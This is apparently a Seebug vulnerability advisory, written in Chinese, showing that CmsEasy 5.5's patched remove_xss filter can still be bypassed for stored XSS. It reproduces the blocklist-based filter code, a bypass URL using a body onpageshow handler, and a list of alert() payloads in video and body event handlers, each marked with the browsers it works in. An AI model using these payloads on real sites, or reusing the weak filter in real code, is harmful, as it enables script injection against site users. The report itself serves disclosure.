cmseasy存储型XSS(CmsEasy_5.5_20140605升级补丁绕过)

2014-06-07T00:00:00
ID SSV:94074
Type seebug
Reporter Root
Modified 2014-06-07T00:00:00

Description

简要描述:

remove_xss函数依旧可绕过

详细说明:

这是我用你最新补丁中bbs_public.php里的remove_xss做的一个小的测试页面:

http://x55.me/cmseasy.php?xss=test

下面是相关代码:(x-xss-protection:0 只是为了方便测试)

<?php header("X-XSS-Protection: 0"); $val=$_GET["xss"]; $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search .= '1234567890!@#$%^&*()'; $search .= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); } $val = html_entity_decode($val); if(preg_match('/&#(\d+)/', $val)){ exit('error'); } if(preg_match('/&#[xX](\d+)/', $val)){ exit('error'); } $ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); $ra = array_merge($ra1, $ra2); $found = true; while ($found == true) { $val_before = $val; for ($i = 0; $i < sizeof($ra); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($ra[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[xX]0{0,8}([9ab]);)'; $pattern .= '|'; $pattern .= '|(&#0{0,8}([9|10|13]);)'; $pattern .= ')*'; } $pattern .= $ra[$i][$j]; } $pattern .= '/i'; $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); $val = preg_replace($pattern, $replacement, $val); if ($val_before == $val) { $found = false; } } } echo $val; ?>

看上去修复了一些问题hex,demical绕过的问题,不过还是没有过滤到点子上。 下面附上一个比较通用的绕过例子:

http://x55.me/cmseasy.php?xss=%3Cbody%20onpageshow=alert(10)%3E

<img src="https://images.seebug.org/upload/201406/061927310e020f9dbc50f67da16f5a366396eba4.png" alt="123.png" width="600" onerror="javascript:errimg(this);">

当然还有一些其它的方法可以绕过:

&lt;body onpopstate=alert(1)&gt;&lt;/body&gt; //safari &lt;video onprogress=alert(3) src=//x55.me/1.ogg&gt; opera/chrome/firefox &lt;body/onhashchange=alert(1)&gt;&lt;a href=#&gt;clickit&lt;/a&gt; &lt;div ontouchstart=alert(1)&gt;hello&lt;/div&gt; /mobile &lt;video onprogress=alert(3) src=//x55.me/1.ogg&gt; opera/chrome/firefox &lt;video oncanplay=alert(4) src=//x55.me/1.ogg&gt; opera/chrome/firefox &lt;video oncanplaythrough=alert(5) src=//x55.me/1.ogg&gt; chrome/opera &lt;video onratechange=alert(9) src=//x55.me/1.ogg&gt; firefox &lt;video onsuspend=alert(10) src=//x55.me/1.ogg&gt; chrome/firefox/safari &lt;video ontimeupdate=alert(11) src=//x55.me/1.ogg&gt; chrome/opera

漏洞证明:

漏洞证明如上